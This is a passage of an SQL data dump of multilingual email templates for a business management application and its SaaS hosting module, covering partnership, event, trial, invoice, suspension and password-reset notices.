\n \n',NULL,'1','0',NULL,NULL,NULL,NULL),(30,0,'partnership','partnership_send','',0,NULL,NULL,'2021-07-11 17:49:44','(SendingEmailOnPartnershipAccepted)',100,1,'[__[MAIN_INFO_SOCIETE_NOM]__] - __(YourPartnershipAcceptedTopic)__','\n

Hello,

\n__(YourPartnershipAcceptedContent)__

\n
\n\n
\n\n __(Sincerely)__
\n __[MAIN_INFO_SOCIETE_NOM]__
\n \n',NULL,'1','0',NULL,NULL,NULL,NULL),(31,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationEmailAskConf)',10,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailAskConf)__','__(Hello)__,

__(OrganizationEventConfRequestWasReceived)__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(32,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationEmailAskBooth)',20,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailAskBooth)__','__(Hello)__,

__(OrganizationEventBoothRequestWasReceived)__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(33,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationEmailBoothPayment)',30,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailBoothPayment)__','__(Hello)__,

__(OrganizationEventPaymentOfBoothWasReceived)__


__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(34,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationEmailRegistrationPayment)',40,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationEmailRegistrationPayment)__','__(Hello)__,

__(OrganizationEventPaymentOfRegistrationWasReceived)__

__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(35,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationMassEmailAttendees)',50,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationMassEmailAttendees)__','__(Hello)__,

__(OrganizationEventBulkMailToAttendees)__

__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(36,0,'','conferenceorbooth','',0,NULL,NULL,'2022-02-07 13:38:10','(EventOrganizationMassEmailSpeakers)',60,1,'[__[MAIN_INFO_SOCIETE_NOM]__] __(EventOrganizationMassEmailSpeakers)__','__(Hello)__,

__(OrganizationEventBulkMailToSpeakers)__

__(Sincerely)__
__USER_SIGNATURE__',NULL,'1',NULL,NULL,NULL,NULL,NULL),(37,1,'sellyoursaas','thirdparty',NULL,0,NULL,NULL,'2023-01-19 12:20:13','(PasswordAssistance)',100,1,'[__[SELLYOURSAAS_NAME]__] - __(SubjectNewPasswordForYouCustomerDashboard)__','\n

\n__(Hello)__,

\n__(RequestToResetPasswordReceived)__

__(YouMustClickToChange)__

__URL_TO_RESET__

__(ApplicantIpAddress)__: __USER_REMOTE_IP__
__(ForgetIfNothing)__

\n__(Sincerely)__,

\n-----------------------------------------
The __[SELLYOURSAAS_NAME]__ Team
\nEMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n',NULL,'1','0',NULL,NULL,NULL,NULL),(38,1,'sellyoursaas','thirdparty',NULL,0,NULL,NULL,'2023-01-19 12:20:13','(ChannelPartnerCreated)',100,1,'[__[SELLYOURSAAS_NAME]__] - Channel Partner Created','\n

Dear __[SELLYOURSAAS_NAME]__ partner,

\nWe are delighted to welcome you as a Channel Partner of __[SELLYOURSAAS_NAME]__.\n

\n

\n Your account has been setup for you. Features for reselling __[SELLYOURSAAS_NAME]__ are now available in the same dashboard as your customer dashboard, so:\n

\n \n

\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(39,1,'sellyoursaas','contract',NULL,0,NULL,NULL,'2023-01-19 12:20:13','InstanceDeployed',100,1,'Welcome to __[SELLYOURSAAS_NAME]__ - Your instance __REFCLIENT__ is ready','\n

Welcome,

\nWe are delighted to welcome you as a user of __[SELLYOURSAAS_NAME]__, the Ondemand service of your __PACKAGELABEL__.\n
\n Your application is installed, setup and ready for you.\n Here are the details you need to get started:\n \n

Your __PACKAGELABEL__ :\n

\n
Your customer dashboard :\n \n \n
__EMAIL_FOOTER__

\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(40,1,'sellyoursaas','contract',NULL,0,NULL,NULL,'2023-01-19 12:20:13','InstanceUndeployed',100,1,'[__[SELLYOURSAAS_NAME]__] - Destruction of your instance __REFCLIENT__','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nYou made a request from your __[SELLYOURSAAS_NAME]__ customer dashboard to delete your instance __REFCLIENT__.\n
\n Your instance was suspended and your data will be destroyed in a few days. For an immediate deletion, please click on this link:
I confirm deletion of __REFCLIENT__ \n \n

\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(41,1,'sellyoursaas','contract',NULL,0,NULL,NULL,'2023-01-19 12:20:13','GentleTrialExpiringReminder',100,1,'[__[SELLYOURSAAS_NAME]__] - Your trial of __REFCLIENT__ will soon expire','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nThis is a reminder that the trial of your instance __REFCLIENT__ will expire soon (__SELLYOURSAAS_EXPIRY_DATE__). If you wish to continue using this service, please login to your customer console to add a payment method (Credit or Debit card accepted):\n

\n

\nClick here to go on your customer console: __[SELLYOURSAAS_ACCOUNT_URL]__
\nRemind: Your customer dashboard login is __THIRDPARTY_EMAIL__

\nIf you have entered a payment mode recently, thank you to ignore this email.
\n

\n
\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(42,1,'sellyoursaas','contract',NULL,0,NULL,NULL,'2023-01-19 12:20:13','GentleTrialExpiringReminderFreeInstance',100,1,'[__[SELLYOURSAAS_NAME]__] - Your trial of __REFCLIENT__ will soon expire','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nThis is a reminder that the trial of your instance __REFCLIENT__ will expire soon (__SELLYOURSAAS_EXPIRY_DATE__). If you wish to continue using this service, please login to your customer console to confirm the final validation of your instance (if you do not confirm, the instance will be destroyed soon):\n

\n

\nClick here to go on your customer console: __[SELLYOURSAAS_ACCOUNT_URL]__
\nRemind: Your customer dashboard login is __THIRDPARTY_EMAIL__

\nIf you have already confirmed your instance, thank you to ignore this email.
\n

\n
\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(43,1,'sellyoursaas','contract',NULL,0,NULL,NULL,'2023-01-19 12:20:13','EndOfTrial',100,1,'[__[SELLYOURSAAS_NAME]__] - Your trial of __REFCLIENT__ has come to an end','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nThank you for taking the time to check out __[SELLYOURSAAS_NAME]__. Your trial account for our service at __REF_CLIENT__ has now expired. If you wish to continue using this service, please login to your dashboard and add a payment method: __[SELLYOURSAAS_NAME]__ dashboard.

\nRemind: Your __[SELLYOURSAAS_NAME]__ dashboard login is __THIRDPARTY_EMAIL__

If you don\'t want to continue using this service, no action is needed: Your data will be automatically destroyed in a few days.


\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(44,1,'sellyoursaas','facture_send',NULL,0,NULL,NULL,'2023-01-19 12:20:13','InvoicePaymentSuccess',100,1,'[__[SELLYOURSAAS_NAME]__] - Invoice Payment Success __REF__','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nThis email confirms a successful payment (__AMOUNT_FORMATED__) from your __[SELLYOURSAAS_NAME]__ instance __REFCLIENT__ account. You can login to your __[SELLYOURSAAS_NAME]__ dashboard to download your PDF invoices at any time.
\nRemind: Your __[SELLYOURSAAS_NAME]__ dashboard login is __THIRDPARTY_EMAIL__
\n

\n

Direct link to download the PDF of this invoice

If you have any questions relating to the above please do not hesitate get in touch.

\n
\n\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(45,1,'sellyoursaas','facture_send',NULL,0,NULL,NULL,'2023-01-19 12:20:13','InvoicePaymentFailure',100,1,'[__[SELLYOURSAAS_NAME]__] - Invoice Payment Failure __REF__','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nAn attempt to take payment for your __[SELLYOURSAAS_NAME]__ subscription (invoice __REF__ for the instance __REFCLIENT__) has failed. Please update your payment method, or contact your bank or payment method provider.
\n Should failure to take this payment continue, access to our service will be discontinued, and any data you have with us maybe lost.
\n
\nPlease login to your __[SELLYOURSAAS_NAME]__ dashboard to update and fix your payment information as soon as possible to prevent any interuptions in service.
\nRemind: Your __[SELLYOURSAAS_NAME]__ dashboard login is __THIRDPARTY_EMAIL__
\n

\n

\n The error we received from your bank was:
\n __SELLYOURSAAS_PAYMENT_ERROR_DESC__\n


\n\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(46,1,'sellyoursaas','contract',NULL,0,NULL,NULL,'2023-01-19 12:20:13','CustomerAccountSuspendedTrial',100,1,'[__[SELLYOURSAAS_NAME]__] - Account Suspension of __REFCLIENT__ after end of trial','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nWe wish to inform you that your instance __REFCLIENT__ has been suspended.
This is likely due to the end of your trial period. If you wish to continue using your application, please login to your __[SELLYOURSAAS_NAME]__ dashboard to enter a payment mode. Your instance access will be restored. If you don\'t want to engage with us, no action is needed: Your instance and data will we deleted in a few days.


\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(47,1,'sellyoursaas','contract',NULL,0,NULL,NULL,'2023-01-19 12:20:13','CustomerAccountSuspended',100,1,'[__[SELLYOURSAAS_NAME]__] - Account Suspension of __REFCLIENT__','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nWe wish to inform you that your instance __REFCLIENT__ has been suspended.
This is likely due to a payment problem. If you wish to continue using your application, please login to your __[SELLYOURSAAS_NAME]__ dashboard to fix your payment mode. Your instance access will be restored. If you don\'t want to continue with us, just ignore this email and following reminders: Your instance and data will we deleted in a few weeks.


\n
\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(48,1,'sellyoursaas','contract',NULL,0,NULL,NULL,'2023-01-19 12:20:13','CustomerInstanceUpgraded',100,1,'[__[SELLYOURSAAS_NAME]__] - Upgrade of instance __REFCLIENT__','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nWe wish to inform you your instance has been upgraded to a higher stable version.
If you experience problem after this upgrade, you can contact us at __[SELLYOURSAAS_MAIN_EMAIL]__


\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(49,1,'sellyoursaas','thirdparty',NULL,0,NULL,NULL,'2023-01-19 12:20:13','YourYearlyPaymentRequest',100,1,'[__[SELLYOURSAAS_NAME]__] - Your yearly payment request for your __[SELLYOURSAAS_NAME]__ subscription','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nYour request to make a yearly payment for the subscription to __[SELLYOURSAAS_NAME]__ was recorded. Just after next deadline, the payment will be done for the full year.
For payment per credit/debit card, you will receive an email to make the payment online.

\nThe __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(50,1,'sellyoursaas','facture_send',NULL,0,NULL,NULL,'2023-01-19 12:20:13','YourPaymentRemind',100,1,'[__[SELLYOURSAAS_NAME]__] - Reminder for paying your __[SELLYOURSAAS_NAME]__ subscription','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nExcept error on our part, the invoice __REF__ for your subscription to __[SELLYOURSAAS_NAME]__ service seems to be unpaid. This is a remind of the link to download your invoice and to use the pay online your subscription (the covered period appears on the invoice). We recommend you to pay within a delay of 7 days to avoid any suspension of service.
__ONLINE_PAYMENT_URL__&suffix=__[SELLYOURSAAS_NAME]__

\nThe __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(51,1,'sellyoursaas','facture_send',NULL,0,NULL,NULL,'2023-01-19 12:20:13','YourLinkForYourPayment',100,1,'[__[SELLYOURSAAS_NAME]__] - Request for the payment of your __[SELLYOURSAAS_NAME]__ subscription','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nA new period will start for your subscription to __[SELLYOURSAAS_NAME]__ service. This is the link to download your invoice and to use the pay online your subscription (the covered period appears on the invoice). We recommend you to pay within a delay of 15 days to avoid any suspension of service.
__ONLINE_PAYMENT_URL__&suffix=__[SELLYOURSAAS_NAME]__

\nThe __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(52,1,'sellyoursaas','thirdparty',NULL,0,NULL,NULL,'2023-01-19 12:20:13','(AlertCreditCardExpiration)',100,1,'[__[SELLYOURSAAS_NAME]__] - Your credit card is expiring','\n

Dear __[SELLYOURSAAS_NAME]__ user,

\nWe wish to inform you that your payment method (Credit card ....__CARD_LAST4__) will soon expire.
\n \n Please login to your __[SELLYOURSAAS_NAME]__ dashboard to update your credit card information as soon as possible to prevent any interuptions in service.
\nRemind: Your DoliCloud dashboard login is __THIRDPARTY_EMAIL__
\n

\n

If you have any questions relating to the above please do not hesitate get in touch.

\n
\n\n Sincerely,
\n The __[SELLYOURSAAS_NAME]__ Team
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(53,1,'sellyoursaas','contract','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','InstanceDeployed',100,1,'Bienvenue sur __[SELLYOURSAAS_NAME]__ - Votre instance __REFCLIENT__ est prête','\n

Bienvenue,

\nNous sommes heureux de vous accueillir comme utilisateur/utilisatrice de __[SELLYOURSAAS_NAME]__, le service à la demande de votre __PACKAGELABEL__.\n
\n Votre application est installée, configurée et prête pour vous.\n Voici les détails à connaitre pour démarrer:\n \n

Votre __PACKAGELABEL__ :\n

\n
Votre espace client :\n \n \n
__EMAIL_FOOTER__

\n Cordialement,
\n L\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(54,1,'sellyoursaas','contract','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','InstanceUndeployed',100,1,'[__[SELLYOURSAAS_NAME]__] - Destruction de votre instance __REFCLIENT__','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nVous avez réalisé une demande depuis votre espace client __[SELLYOURSAAS_NAME]__ afin de détruire votre instance __REFCLIENT__.\n
\n Votre instance a déjà été suspendue et vos données seront détruites dans quelques jours. Pour une destruction immédiate, cliquez le lien suivant:
Je confirme la destruction de __REFCLIENT__ \n \n

\n Cordialement,
\n L\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(55,1,'sellyoursaas','contract','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','GentleTrialExpiringReminder',100,1,'[__[SELLYOURSAAS_NAME]__] - Votre période d\'essai pour __REFCLIENT__ expire bientôt','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nCeci est un rappel pour vous informer que votre période de test pour l\'instance __REF_CLIENT__ va bientot expirer (le __SELLYOURSAAS_EXPIRY_DATE__). Si vous désirez continuer à utiliser le service, merci de vous logguer à votre espace client pour ajouter un mode de paiement (Carte de crédit ou débit).\n

\n

\nPour cela, cliquer ici pour basculer sur votre espace client: __[SELLYOURSAAS_ACCOUNT_URL]__
\nRappel: Votre login de l\'espace client est __THIRDPARTY_EMAIL__

\nSi vous avez renseigné un mode de paiement récemment, merci d\'ignorer cet email.
\n

\n
\n Cordialement,
\n L\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(56,1,'sellyoursaas','contract','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','EndOfTrial',100,1,'[__[SELLYOURSAAS_NAME]__] - Votre période d\'essai pour __REFCLIENT__ est terminée','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nMerci d\'avoir pris le temps de tester __[SELLYOURSAAS_NAME]__. Votre période d\'essai pour le service __REFCLIENT__ est maintenant expirée. Si vous désirez continuer à utiliser ce service, merci de vous connecter à votres espace client et ajouter un mode de paiement: Espace client __[SELLYOURSAAS_NAME]__.

\nRappel: Votre login de l\'espace client est __THIRDPARTY_EMAIL__

Si vous ne désirez plus utiliser le service, ignorez simplement ce dernier rappel. Vos données seront automatiquement détruites dans quelques jours.


\n Cordialement,
\n L\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(57,1,'sellyoursaas','facture_send','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','InvoicePaymentSuccess',100,1,'[__[SELLYOURSAAS_NAME]__] - Paiement réussi de la facture __REF__','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nCet email confirme un paiement avec succès (__AMOUNT_FORMATED__) pour votre instance __[SELLYOURSAAS_NAME]__ __REFCLIENT__. Vous pouvez vous logguer sur votre Espace client __[SELLYOURSAAS_NAME]__ pour télécharger vos factures PDF à tout moment.
\nRappel: Votre login de votre Espace Client __[SELLYOURSAAS_NAME]__ est __THIRDPARTY_EMAIL__
\n

\n

Lien direct pour télécharger le PDF de cette facture

Si vous avez des questions en rapport avec ce message, n\'hésitez pas à nous contacter.

\n
\n\n Cordialement,
\n L\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(58,1,'sellyoursaas','facture_send','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','InvoicePaymentFailure',100,1,'[__[SELLYOURSAAS_NAME]__] - Paiement en échec de la facture __REF__','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nUne tentative pour réaliser le paiement de votre abonnement __[SELLYOURSAAS_NAME]__ (facture __REF__ pour l\'instance __REFCLIENT__) a échoué.\n\nMerci de vérifier/mettre à jour votre mode de paiement, ou contacter votre banque ou fournisseur de votre mode de paiement pour autoriser les prochaines tentatives si ce dernier est bien correct.
\n Plusieurs tentatives seront réalisées mais au cas où les échecs de paiements se prolongeraient, l\'accès au service pourrait être interrompu (et vos données pourraient être détruites 2 mois après).
\n
\nMerci de vous logguer à votre Espace Client __[SELLYOURSAAS_NAME]__ pour corriger votre mode de paiement si ce dernier le nécessite, pour éviter toute interruption de service.
\nRappel: Votre login d\'accès à l\'Espace Client __[SELLYOURSAAS_NAME]__ est __THIRDPARTY_EMAIL__
\n

\n

\n L\'erreur renvoyée par votre banque est la suivante:
\n __SELLYOURSAAS_PAYMENT_ERROR_DESC__\n


\n\n Cordialement,
\n L\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(59,1,'sellyoursaas','contract','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','CustomerAccountSuspendedTrial',100,1,'[__[SELLYOURSAAS_NAME]__] - Suspension de l\'instance __REFCLIENT__ après fin de période d\'essai','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nNous attirons votre attention sur le fait que votre instance __REFCLIENT__ a été suspendue.
Ceci est probablement due à la fin de votre période d\'essai. Si vous désirez continuer à utiliser l\'application, merci de vous connecter à votre Espace Client __[SELLYOURSAAS_NAME]__ pour entrer un mode de paiement. L\'accès à votre instance sera alors rétabli immédiatement. Si vous ne désirez pas continuer, ignorez simplement cet email et votre instance et ses données seront détruites dans quelques jours.


\n Cordialement,
\n L\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(60,1,'sellyoursaas','contract','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','CustomerAccountSuspended',100,1,'[__[SELLYOURSAAS_NAME]__] - Suspension de l\'instance __REFCLIENT__','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nNous attirons votre attention sur le fait que votre instance __REFCLIENT__ a été suspendue.
Ceci est probablement due à des problèmes de paiements. Si vous désirez continuer à utiliser l\'application, merci de vous connecter à votre Espace Client __[SELLYOURSAAS_NAME]__ pour entrer un mode de paiement. L\'accès à votre instance sera alors rétabli immédiatement. Si vous ne désirez pas continuer, ignorez simplement cet email et les autres rappels à venir, et votre instance et ses données seront détruites dans quelques semaines.


\n Cordialement,
\n L\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(61,1,'sellyoursaas','contract','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','CustomerInstanceUpgraded',100,1,'[__[SELLYOURSAAS_NAME]__] - Mise à jour de l\'instance __REFCLIENT__','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nNous vous informons que votre instance a été mise à jour sur une version stable supérieure.
Si vous rencontrez des difficultés après cette mise à jour, contacter nous à __[SELLYOURSAAS_MAIN_EMAIL]__


\n Cordialement,
\n L\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(62,1,'sellyoursaas','thirdparty','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','YourYearlyPaymentRequest',100,1,'[__[SELLYOURSAAS_NAME]__] - Votre demande de paiement annuel pour votre abonnement __[SELLYOURSAAS_NAME]__','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nVotre demande de paiement annuel pour l\'abonnement au service __[SELLYOURSAAS_NAME]__ a été enregistrée. A la prochaine échance, le paiement se fera pour une année entière.
Dans le cas de paiement par carte, vous recevrez un mail, peu après le début de la nouvelle période annuelle pour réaliser le paiement en ligne.

\nL\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(63,1,'sellyoursaas','facture_send','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','YourPaymentRemind',100,1,'[__[SELLYOURSAAS_NAME]__] - Relance paiement abonnement __[SELLYOURSAAS_NAME]__','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nSauf erreur de notre part, la facture __REF__ pour votre abonnement au service __[SELLYOURSAAS_NAME]__ n\'a pas encore été payée. Voici un rappel du lien permettant de télécharger la facure et réaliser le paiement en ligne (la période couverte apparait sur la facture). Nous vous recommandons de réaliser le paiement dans un délai de 7 jours afin d\'éviter la suspension du service.
__ONLINE_PAYMENT_URL__&suffix=__[SELLYOURSAAS_NAME]__

\nL\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(64,1,'sellyoursaas','facture_send','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','YourLinkForYourPayment',100,1,'[__[SELLYOURSAAS_NAME]__] - Requête pour le paiement de votre abonnement __[SELLYOURSAAS_NAME]__','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nUne nouvelle période démarre pour votre abonnement au service __[SELLYOURSAAS_NAME]__. Voici le lien à utiliser pour télécharger votre facture et réaliser le paiement en ligne (la période couverte apparait sur la facture). Nous vous recommandons de payer dans un délai de 15 jours pour éviter toute suspension de service ultérieure.
__ONLINE_PAYMENT_URL__&suffix=__[SELLYOURSAAS_NAME]__

L\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(65,1,'sellyoursaas','thirdparty','fr_FR',0,NULL,NULL,'2023-01-19 12:20:13','(AlertCreditCardExpiration)',100,1,'[__[SELLYOURSAAS_NAME]__] - Expiration de votre carte bancaire','\n

Cher utilisateur/utilisatrice __[SELLYOURSAAS_NAME]__,

\nNous voulions vous informer que votre mode de paiement (Carte bancaire ....__CARD_LAST4__) va bientôt expirer.
\n \n Merci de vous logguez sur votre espace client __[SELLYOURSAAS_NAME]__ pour mettre à jour vos informations de paiement, dès que possible, afin de prévenir toute interruption de service.
\nRappel: Le login de votre espace client est __THIRDPARTY_EMAIL__
\n

\n

Si vous avez des questions sur ce point, ne pas hésitez à nous contacter.

\n
\n
\n Cordialement,
\n L\'équipe __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n EMail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(66,1,'sellyoursaas','contract','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','InstanceDeployed',100,1,'Bienvenido a __[SELLYOURSAAS_NAME]__ - Su instancia __REFCLIENT__ está lista','\n

Bienvenida,

\nEstamos muy contentos de ternerle como usuario de __[SELLYOURSAAS_NAME]__, el servicio en línea de sus aplicaciones __PACKAGELABEL__.\n
\n Su aplicación ya se encuentra instalada y disponible para su uso.\n Aquí están los detalles que necesita para acceder.:\n \n

Su aplicación __PACKAGELABEL__ :\n

\n
Su área de cliente :\n \n \n
__EMAIL_FOOTER__

\n El equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(67,1,'sellyoursaas','contract','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','InstanceUndeployed',100,1,'[__[SELLYOURSAAS_NAME]__] - Destrucción de su instancia __REFCLIENT__','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nHiciste una solicitud desde tu panel de control del cliente __[SELLYOURSAAS_NAME]__ para eliminar tu instancia __REFCLIENT__.\n
\n Su instancia fue suspendida y sus datos serán destruidos en pocos días. Para una eliminación inmediata, haga clic en este enlace:
Confirmo la eliminación de __REFCLIENT__ \n \n

\n El equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
\n\n ',NULL,'1','0',NULL,NULL,NULL,NULL),(68,1,'sellyoursaas','contract','es_ES',0,NULL,NULL,'2023-01-19 12:20:13','GentleTrialExpiringReminder',100,1,'[__[SELLYOURSAAS_NAME]__] - Su periodo de prueba para __REFCLIENT__ expira pronto','\n

Estimado usuario de __[SELLYOURSAAS_NAME]__,

\nSu periodo de prueba de su instancia __REFCLIENT__ termina pronto (el __SELLYOURSAAS_EXPIRY_DATE__). Si desea continuar usando el servicio, le agradeceríamos se conectara a su área de cliente para añadir un modo de pago:\n

\n

\nHaga clic aquí para ir a la consola de su cliente: __[SELLYOURSAAS_ACCOUNT_URL]__
\nRecuerde: Su login de acceso a su área de cliente __[SELLYOURSAAS_NAME]__ es __THIRDPARTY_EMAIL__

\nSi ha ingresado recientemente en un modo de pago, gracias por ignorar este e-mail.
\n

\n
\n El equipo __[SELLYOURSAAS_NAME]__
\n -----------------------------------------
\n E-Mail: __[SELLYOURSAAS_MAIN_EMAIL]__
